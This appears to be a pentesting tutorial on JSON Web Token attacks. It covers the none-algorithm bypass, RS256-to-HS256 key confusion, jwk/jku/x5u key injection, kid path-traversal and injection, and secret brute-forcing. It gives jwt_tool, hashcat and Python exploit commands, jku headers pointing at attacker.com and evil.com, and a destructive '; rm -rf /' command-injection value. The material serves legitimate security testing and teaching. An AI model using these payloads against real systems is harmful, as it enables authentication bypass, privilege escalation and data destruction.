JSON Web Token (JWT)

A JSON Web Token (JWT) is basically a digitally signed, tamper-proof way of sending information between two parties. Think of it like a VIP pass - once issued, it proves who you are without needing to check a database every time.

How it works

When you log in, the server creates a token with details like your user ID and permissions, then signs it using a secret key. Since it's signed, if anyone tries to modify it, the system knows it's fake. That's why it's widely used for authentication.

But JWTs come with risks. If a token gets stolen, an attacker can use it until it expires. Unlike traditional sessions, there's no built-in way to revoke a JWT once it's issued. Plus, if the signing algorithm is weak or misconfigured, hackers can forge tokens and bypass security.

Security Pitfalls of JSON Web Tokens (JWT)

  1. Token Leakage
    If a JWT is exposed (e.g., stored insecurely in local storage or logged accidentally), an attacker can hijack the session and impersonate the user until the token expires.

  2. Weak Signing Algorithms
    Using weak or misconfigured signing algorithms can allow attackers to forge JWTs and gain unauthorized access to systems.

  3. No Built-in Revocation
    Unlike session-based authentication, JWTs remain valid until they expire. If a token needs to be revoked, additional mechanisms must be implemented.

  4. Long Expiration Times
    If JWTs have extended lifespans, stolen tokens can be exploited for longer periods, increasing security risks. Shorter expiration times enhance security but may lead to frequent re-authentication.

  5. Storage Risks
    Storing JWTs in local storage or session storage makes them vulnerable to Cross-Site Scripting (XSS) attacks, where malicious scripts can steal the token. Secure storage methods, such as HTTP-only cookies, are recommended.

  6. Lack of Audience Validation
    If a JWT isn't properly restricted to a specific audience (aud claim), it may be misused in unintended applications, creating security risks.

  7. Algorithm Confusion Attacks
    If a server incorrectly allows the none algorithm or fails to validate signing methods properly, attackers can send unsigned tokens and bypass authentication.

  8. Overly Large Tokens
    Embedding too much data in a JWT, such as extensive user roles or sensitive information, increases security risks if the token gets intercepted or leaked.

JWT Format

A JSON Web Token (JWT) is a compact, URL-safe token used for authentication and secure data exchange. It consists of three parts, separated by dots (.)

Base64(Header) . Base64(Payload) . Base64(Signature)
  1. Header → Contains metadata about the token.
  2. Payload → Contains claims (data) about the user and token.
  3. Signature → Ensures integrity and authenticity.

JWT Example

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiaWF0IjoxNTE2MjM5MDIyfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY

1. Header (JWT Metadata)

{
"typ": "JWT",
"alg": "HS256"
}

typ: Specifies the type of token (JWT). alg: Defines the signing algorithm used (HS256 in this case).

  1. Payload (Claims/Data) The payload carries user-related data, called "claims."
{
"sub": "1234567890",
"name": "Amazing Haxx0r",
"iat": 1516239022
}

sub: Subject (user ID). name: User’s full name. iat: Issued At (timestamp when the token was created). exp → Expiration time. role → User role (e.g., admin, user). email → User’s email address.

  1. Signature (Security Layer) The signature is generated using
HMACSHA256(
Base64(Header) + "." + Base64(Payload),
Secret_Key
)

Header with Parameters

{
"alg": "RS256",
"typ": "JWT",
"kid": "12345",
"x5u": "https://example.com/cert.pem"
}

The JSON Web Signature (JWS) RFC defines a set of registered header parameter names, with the simplest JWT header represented by the following JSON

Other parameters are registered in the RFC

  • alg (Algorithm): Specifies the cryptographic algorithm used for signing the JWS.
  • jku (JWK Set URL): Points to a URL containing a set of JSON-encoded public keys used for signature verification.
  • jwk (JSON Web Key): The public key in JSON format used for signing the JWS.
  • kid (Key ID): Identifies the specific key used to sign the JWS, enabling key rotation.
  • x5u (X.509 URL): URL pointing to the X.509 public key certificate or certificate chain.
  • x5c (X.509 Certificate Chain): PEM-encoded X.509 certificate or chain used for signing the JWS.
  • x5t (X.509 Certificate SHA-1 Thumbprint): Base64 URL-encoded SHA-1 hash of the DER-encoded X.509 certificate.
  • x5t#S256 (X.509 Certificate SHA-256 Thumbprint): Base64 URL-encoded SHA-256 hash of the DER-encoded X.509 certificate.
  • typ (Type): Defines the media type, usually "JWT".
  • cty (Content Type): Specifies the media type of the content within the JWT; usage is generally discouraged.
  • crit (Critical): Indicates that extensions or specific JWA parameters must be understood to process the JWS.
  • exp (Expiration Time): Defines the expiration timestamp of the JWT.
  • nbf (Not Before): Specifies that the JWT cannot be used before this timestamp.
  • iat (Issued At): Marks the timestamp when the JWT was created.
  • sub (Subject): Identifies the principal (user or entity) that the JWT is issued for.
  • aud (Audience): Specifies the intended audience for the JWT.
  • iss (Issuer): Identifies the entity that issued the JWT.
  • jti (JWT ID): A unique identifier for the JWT, used to prevent replay attacks.
  • apu (Agreement PartyU Info): Extra information for key agreement protocols.
  • apv (Agreement PartyV Info): Additional verification-related data for key agreement.
  • epk (Ephemeral Public Key): Used in ECDH key agreement for encrypting JWTs.
  • enc (Encryption Algorithm): Defines the encryption algorithm for a JWE (JSON Web Encryption).
  • zip (Compression Algorithm): Specifies the compression algorithm applied to the payload.
  • skid (Symmetric Key ID): References symmetric keys in encrypted JWTs.
  • ath (Access Token Hash): A hash of an OAuth 2.0 access token, commonly used in OpenID Connect.
  • nonce (Nonce): A random string to prevent replay attacks.
  • p2c (PBKDF2 Iteration Count): Specifies the number of iterations in PBKDF2 password hashing.
  • p2s (PBKDF2 Salt): The salt used in PBKDF2 password hashing. Inject headers with ticarpi/jwt_tool python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2

Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).

  • HS384 and HS512 use SHA-384 and SHA-512, providing stronger security than HS256.
  • RS256, RS384, and RS512 use RSA with a public-private key pair, making them suitable for secure authentication where the verifying party does not need the signing key.
  • ES256, ES384, and ES512 use ECDSA (Elliptic Curve Digital Signature Algorithm), offering strong security with smaller key sizes for better efficiency.
  • PS256, PS384, and PS512 use RSA-PSS, enhancing security over RS256 with stronger padding mechanisms.
  • "none" algorithm disables signature verification, allowing token forgery and making it highly insecure for production use.
  • Use asymmetric algorithms (RS256, ES256) for better security and to prevent unauthorized modifications.

JWT Claims

{
"iss": "https://auth.example.com", // Issuer: The entity that issued the token
"sub": "1234567890", // Subject: The user or entity the token refers to
"aud": "https://api.example.com", // Audience: The intended recipient of the token
"exp": 1717603200, // Expiration Time: When the token expires (Unix timestamp in seconds)
"iat": 1717599600, // Issued At: When the token was issued
"nbf": 1717599000, // Not Before: The token cannot be used before this time
"jti": "unique-jwt-id-98765", // JWT ID: A unique identifier to prevent token reuse
User Information
"name": "Amazing Haxx0r", // User’s full name
"email": "[email protected]", // User’s email address
"role": "admin", // User role (e.g., admin, user, moderator)
"perms": ["read", "write", "delete"], // Permissions assigned to the user
Authentication Details
"auth_time": 1717599500, // Authentication Time: When the user last authenticated
"acr": "urn:mace:incommon:iap:silver", // Authentication Context: Defines authentication strength
"amr": ["pwd", "mfa"], // Authentication Methods: Password, Multi-Factor Authentication (MFA)
"mfa": true, // Indicates whether MFA was used
Session and Security Information
"azp": "client-application-id", // Authorized Party: The client ID that requested the token
"nonce": "random-nonce-value-123", // Nonce: Prevents replay attacks
"sid": "session-id-456", // Session ID: Helps track and revoke user sessions
Access and Scope
"scp": ["profile", "email", "openid"], // OAuth Scopes: Permissions granted to the token
Multi-Tenant and Organizational Information
"tenant": "enterprise-corp", // Tenant ID: Identifies the organization or tenant
"org": "CyberSecurity Inc.", // Organization: The company or entity associated with the user
Device & Geolocation Details
"ip": "192.168.1.100", // IP Address: The IP address from which the token was issued
"geo": {
"country": "US", // Country of the user
"region": "California", // Region or state
"city": "San Francisco" // City location
},
"device_id": "device-abc123", // Unique device identifier
Custom Claims
"custom_claims": {
"custom_key1": "custom_value1", // Custom key-value pair for application-specific use
"custom_key2": "custom_value2"
}
}
  • email: User’s email address.
  • role: Specifies the user’s role (e.g., admin, user, moderator).
  • perms: List of specific permissions granted (e.g., read, write, delete).
  • auth_time: Timestamp of when the user authenticated.
  • acr: Authentication context class reference, defining authentication strength (e.g., MFA level).
  • amr: Authentication methods used (e.g., password, OTP, biometric).
  • azp: Authorized client application that requested the token.
  • nonce: A random string used to mitigate replay attacks.
  • sid: User’s session ID for tracking and revocation.
  • scp: OAuth scopes granted to the token (e.g., profile, email, openid).
  • tenant: Identifies the organization or tenant for multi-tenant applications.
  • org: Specifies the company or entity the user belongs to.
  • ip: IP address from which the token was issued.
  • geo: Contains geolocation data (e.g., country, region, city).
  • mfa: Indicates whether multi-factor authentication was used.
  • device_id: Unique device identifier.
  • custom_claims: Allows storing application-specific custom key-value pairs.

JWT Signature

Null Signature Attack (CVE-2020-28042) exploits the absence of a signature in JWTs using the HS256 algorithm. An attacker can send a JWT without a signature and bypass authentication mechanisms.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.

Exploit:

python3 jwt_tool.py JWT_HERE -X n

Deconstructed:

{"alg":"HS256","typ":"JWT"}.
{"sub":"1234567890","name":"John Doe","iat":1516239022}

JWT Signature - Disclosure of a Correct Signature (CVE-2019-7644)

Some JWT implementations may return an error message disclosing the correct signature when an incorrect signature is provided. This exposes sensitive cryptographic data, which an attacker can use to forge valid JWTs. jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61

CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT

Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=

JWT Signature - None Algorithm Attack (CVE-2015-9235)

The None Algorithm vulnerability arises when a system fails to enforce proper cryptographic validation of JWT (JSON Web Token) signatures. Some implementations mistakenly allow JWTs to be signed with "alg": "none", effectively disabling signature verification and enabling an attacker to manipulate the token's contents freely.

Steps to Exploit

  • Decode the JWT – Since JWTs are Base64-encoded, the first step is to decode the token. You can use tools like jwt.io or Python scripts (jwt.decode() from PyJWT).
  • Modify the Algorithm – In the JWT header, change the "alg" field to "none" (e.g., from "HS256" to "none").
  • Remove the Signature – JWTs consist of three parts: Header (algorithm & token type) Payload (claims and user data) Signature (cryptographic proof of authenticity)

Since "none" disables signature verification, you can simply remove the signature part (i.e., the third section of the JWT).

  • Resubmit the JWT – Send the modified JWT back to the target system. If it is vulnerable, it will accept the token as valid, granting unauthorized access or escalating privileges. Variants of the None Algorithm
none
None
NONE
nOnE

Exploit using ticarpi/jwt_tool

python3 jwt_tool.py [JWT_HERE] -X a

Manual Exploitation using Python

import jwt
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
decodedToken = jwt.decode(jwtToken, verify=False)
# Re-encode without a signature
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
print(noneEncoded.decode())

JWT Signature Key Confusion Attack (RS256 to HS256) - CVE-2016-5431

This vulnerability occurs when a server improperly handles JSON Web Token (JWT) signatures by allowing an attacker to switch the algorithm from RS256 (asymmetric) to HS256 (symmetric).

Understanding the Attack:

  • RS256 (Rivest-Shamir-Adleman Signature with SHA-256): Uses a private key to sign the JWT and a public key to verify the signature.
  • HS256 (HMAC with SHA-256): Uses a shared secret key to sign and verify the token. If the server expects RS256 but does not validate the algorithm field properly, an attacker can:
  1. Modify the Algorithm in the Header
  • Change the "alg" field from "RS256" to "HS256".
  1. Extract the Public Key If the server’s public key is available (e.g., embedded in a TLS certificate), the attacker can retrieve it using:
openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout

Many applications use the same RSA key pair for JWTs and TLS certificates, making it easier for attackers to get the public key.

  1. Sign the JWT with the Public Key
  • Since HS256 treats the key as a symmetric secret, the attacker can use the public key to sign a malicious token.
  • The server, thinking the public key is the expected HS256 secret key, will validate and accept the forged JWT.
  1. Gain Unauthorized Access
  • The attacker can modify claims like admin: true, bypass authentication, or escalate privileges.

Extract Public Key from a Web Server

openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout

Modify JWT Algorithm using Python

import jwt
# Read the public key
public = open('public.pem', 'r').read()
print(public)
# Encode a JWT using HS256 with the public key as the secret
print(jwt.encode({"data": "test"}, key=public, algorithm='HS256'))

This vulnerability has been patched in newer PyJWT versions. If needed, install an older version

pip install pyjwt==0.4.3
python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem

Manually Editing RS256 JWT to HS256

1. Locate the public key in /.well-known/jwks.json.

2. Convert the public key into a symmetric key

cat key.pem | xxd -p | tr -d "\n"

3. Generate an HMAC signature

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

4. Convert the signature from HEX to Base64 URL format

python2 -c "import base64, binascii; print(base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=',''))"

5. Construct the final JWT

[HEADER EDITED RS256 TO HS256].[DATA].[SIGNATURE]
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA

RSA Key Injection (Using Custom Public Key in JWK Header)

This payload injects a new attacker-controlled public key in the JWT header, replacing the original key.

{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"kid": "attacker_key",
"use": "sig",
"e": "AQAB",
"n": "zXdhPjFi2R0PQ0ljc9l-7hT4ZgZwvBfZJ6Fty_F6dI4hRPxTLmBaP_ZrxmHzzJhz6pntfNXfLhJWB30ZG9DPTuDgYrX3lJGhKJbfOvxPVKo7Ak5BzKciPqT63H_jBBnbhKAXcClyHnR39_2G8QddxkGxCCh7GdCpXJFCy12-3-JxaRxyYBFj58Jlsy0z5PMUAF3jR7h7m7WTh-TZdKeFls"
}
}
{
"username": "admin",
"role": "superuser"
}

Symmetric Algorithm Downgrade Attack (HMAC Secret Forging)

Changing the alg parameter from RS256 (asymmetric) to HS256 (symmetric) and using the public key as the secret for HMAC signing.

{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"role": "administrator"
}

None Algorithm Attack (Disabling Signature Validation)

Changing the alg to none and removing the signature entirely.
{
"alg": "none",
"typ": "JWT"
}
{
"username": "admin",
"role": "superuser"
}

Malicious Key Injection via "jku" Parameter

Injecting a malicious JWK Set URL (jku) that points to an attacker's controlled public key.

{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json"
}
{
"username": "admin",
"role": "superadmin"
}

Malicious Key Injection via "x5u" Parameter

Injecting a malicious certificate URL (x5u) that points to an attacker's controlled certificate.

{
"alg": "RS256",
"typ": "JWT",
"x5u": "https://attacker.com/malicious_cert.pem"
}
{
"username": "admin",
"role": "root"
}

JWT Signature - Recover Public Key From Signed JWTs

The RS256, RS384, and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.

SecuraBV/jws2pubkey: Compute an RSA public key from two signed JWTs.

$ docker run -it ttervoort/jws2pubkey JWS1 JWS2
$ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk

Computing public key. This may take a minute...

{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}

Payloads for Exploitation

  1. Key Injection Attack (Embedded JWK) Add the extracted public key inside the jwk parameter of the JWT header. Remove the original signature and sign the JWT with an attacker's private key.
{"alg": "RS256", "typ": "JWT", "jwk": {"kty": "RSA", "kid": "attacker_key", "use": "sig", "e": "AQAB", "n": "attacker_public_key"}}
{"login":"admin"}
[Signed with attacker's private key]
  1. Algorithm Downgrade Attack Change the alg from RS256 to HS256. Use the extracted public key as the secret key to sign a malicious JWT.
{"alg": "HS256", "typ": "JWT"}
{"role": "admin"}
[HMAC signed with extracted RSA public key]
  1. Offline JWT Verification Bypass Once the public key is extracted, JWTs can be verified without a trusted party. This allows attackers to validate JWTs offline, making security monitoring ineffective.

  2. Privilege Escalation via Forged JWTs Create a new JWT with an arbitrary payload (e.g., admin: true). Sign it with the extracted public key. Bypass authentication mechanisms in poorly configured applications.

  3. Session Hijacking and Account Takeover If a service allows JWTs to be refreshed, an attacker can craft a fake token with a long expiration. Inject the forged JWT to maintain persistent access.

  4. Signature Stripping Attack Some services accept unsigned JWTs (alg: none). Strip the signature and resend the JWT to check if the server accepts it.

{"alg": "none", "typ": "JWT"}
{"user": "victim", "admin": true}

JWT Secret

To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify, or sign their own tokens, bypassing the intended security controls.

Encode and Decode JWT with the Secret

Using ticarpi/jwt_tool

jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.R8vCeSmQ2kJD3DQlgPt6uIH4VQ4zWkPbPjM2rF-Q9tM
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.R8vCeSmQ2kJD3DQlgPt6uIH4VQ4zWkPbPjM2rF-Q9tM -T

Token header values

[+] alg = "HS256"
[+] typ = "JWT"

Token payload values

[+] user = "admin"

Using pyjwt

pip install pyjwt
import jwt
encoded = jwt.encode({'user': 'admin'}, 'supersecretkey', algorithm='HS256')
jwt.decode(encoded, 'supersecretkey', algorithms=['HS256'])

Break JWT Secret

A useful list of 3502 publicly available JWT secrets can be found in wallarm/jwt-secrets/jwt.secrets.list. This includes common weak secrets like your_jwt_secret, change_this_super_secret_random_string, etc.

JWT Tool - Bruteforce the "Secret" Key

First, install the required dependencies:

python3 -m pip install termcolor cprint pycryptodomex requests

Then, use ticarpi/jwt_tool to bruteforce the JWT secret key:

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C

Now, edit the field inside the JSON Web Token: Current value of role is: user Please enter new value and hit ENTER

admin
[1] sub = 1234567890
[2] role = admin
[3] iat = 1516239022
[0] Continue to next step

Please select a field number (or 0 to Continue):

Signing the Token with the Retrieved "Secret" Key Token Signing Options: [1] Sign token with known key [2] Strip signature from token vulnerable to CVE-2015-2951 [3] Sign with Public Key bypass vulnerability [4] Sign token with key file

Please select an option from above (1-4): Please enter the known key: secret Please enter the key length: [1] HMAC-SHA256 [2] HMAC-SHA384 [3] HMAC-SHA512

Your New Forged Token: URL Safe:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da_xtBsT0Kjw7truyhDwF5Ic

Standard:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic

JWT Testing and Exploitation Using jwt_tool.py

Recon (Information Gathering)

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw

Scanning (Checking for JWT Vulnerabilities in a Web Application) Use this command to check for publicly known JWT vulnerabilities in a target website

python3 jwt_tool.py -t https://target-site.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
-t https://target-site.com/ specifies the target site.
-rc "jwt=..." sends the JWT token in a request cookie.
-M pb checks for publicly known vulnerabilities.

Exploitation (Privilege Escalation or Manipulation)

Modify JWT claims to escalate privileges

python3 jwt_tool.py -t https://target-site.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
-X i enables interactive JWT modification.
-I injects the modified payload.
-pc name -pv admin changes the name claim to admin.

Fuzzing (Testing for Injection Vulnerabilities)

Test for header-based injection attacks using a custom SQL injection payload list

python3 jwt_tool.py -t https://target-site.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt

-hc kid targets the Key ID (kid) Header Parameter. -hv custom_sqli_vectors.txt uses a custom list of SQL injection payloads to check for vulnerabilities.

Review (Verification & Re-Exploitation)

Verify if the modified JWT remains effective:

python3 jwt_tool.py -t https://target-site.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin

This is similar to Exploitation but ensures that modifications persist and work as expected.

Hashcat Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src

Dictionary attack: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
Rule-based attack: hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
Brute force attack: hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6

JWT Claims and kid (Key ID) Header Misuse

IANA's JSON Web Token Claims JWTs (JSON Web Tokens) have predefined registered claims maintained by IANA, such as:

  • sub (subject) – Identifies the principal that is the subject of the JWT.
  • iss (issuer) – Identifies the entity issuing the JWT.
  • aud (audience) – Specifies the recipients the JWT is intended for.
  • exp (expiration time) – Defines when the JWT expires.
  • iat (issued at) – Marks the timestamp when the JWT was issued. For a full list of registered claims, visit IANA's JWT Claims Registry

JWT kid Claim Misuse

The kid (Key ID) header is used to specify which key should be used to verify the JWT. However, improper implementations can lead to path traversal, remote file inclusion, and even SQL injection attacks.

Local File Path Injection

An attacker manipulates the kid field to point to a local file, which is then used to verify the JWT signature:

Header:
"alg": "HS256",
"typ": "JWT",
"kid": "/root/res/keys/secret.key"

This allows an attacker to force the server to use an arbitrary local key.

Remote File Inclusion (RFI) via kid

If the server fetches keys from external sources, an attacker can point the kid to a malicious remote key:

Header:
"alg": "RS256",
"typ": "JWT",
"kid": "http://localhost:7070/privKey.key"

This can be exploited if the application retrieves and trusts keys from external sources.

Exploitation of kid Header Misuse

  1. Extracting Key Content to Modify Payload An attacker can modify the kid header to point to an externally controlled key and then sign their own JWT. This forces the server to use the attacker's key for verification, allowing them to forge valid JWTs.

  2. Bypassing Authentication by Changing kid Path If the server loads the key from a file, an attacker can redirect it to a predictable system file such as /dev/null. If successful, this might disable signature verification, allowing an attacker to forge tokens freely.

  3. Exploiting Predictable Files for Key Injection Some Linux files contain predictable content, which can be used to forge JWTs. /proc/sys/kernel/randomize_va_space contains predictable numeric values that could be used as a signing key.

  4. Injecting SQL or Command Payloads via kid Some applications dynamically fetch keys using SQL queries. Attackers can attempt SQL injection by setting kid to a value like: SQL Injection Payload:

' UNION SELECT 'malicious_key' --

Similarly, if the kid value is passed unsafely to a shell, command injection is possible with:

Command Injection Payload:

; rm -rf /

If successful, this could allow bypassing authentication or injecting arbitrary commands.

JWKS & jku Header Injection

What is JWKS?

/jwks.json
/.well-known/jwks.json
/openid/connect/jwks.json
/api/keys
/api/v1/keys
{tenant}/oauth2/v1/certs

jku Header Injection

The jku (JSON Key URL) header in a JWT specifies the URL from which the public key should be retrieved to verify the token. If an application does not properly validate this field, an attacker can replace the jku value with a malicious URL that hosts an attacker-controlled JWKS file.

This allows an attacker to:

  • Sign a token with their own private key
  • Host a fake JWKS containing the corresponding public key
  • Trick the server into verifying the malicious token
  1. Attacker Generates Their Own Key Pair An attacker first creates an RSA key pair and hosts a malicious JWKS file. It might look like this:
{
"keys": [
{
"kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54",
"kty": "RSA",
"e": "AQAB",
"n": "nJB2vtCIXwO8DN[...]lu91RySUTn0wqzBAm-aQ"
}
]
}
  1. Attacker Modifies the JWT Replaces the kid value with the key ID from their malicious JWKS. Adds a jku pointing to their malicious key URL. Example Modified JWT Header:
{
"typ": "JWT",
"alg": "RS256",
"jku": "https://evil.com/jwks.json",
"kid": "beaefa6f-8a50-42b9-805a-0ab63c3acc54"
}

Example Modified JWT Payload:

{
"login": "admin"
}
  1. Attacker Signs the JWT with Their Private Key Since the service fetches the public key from jku, it will use the attacker’s key to verify the JWT, making it appear legitimate.

Labs

Write-ups

Tools

Reference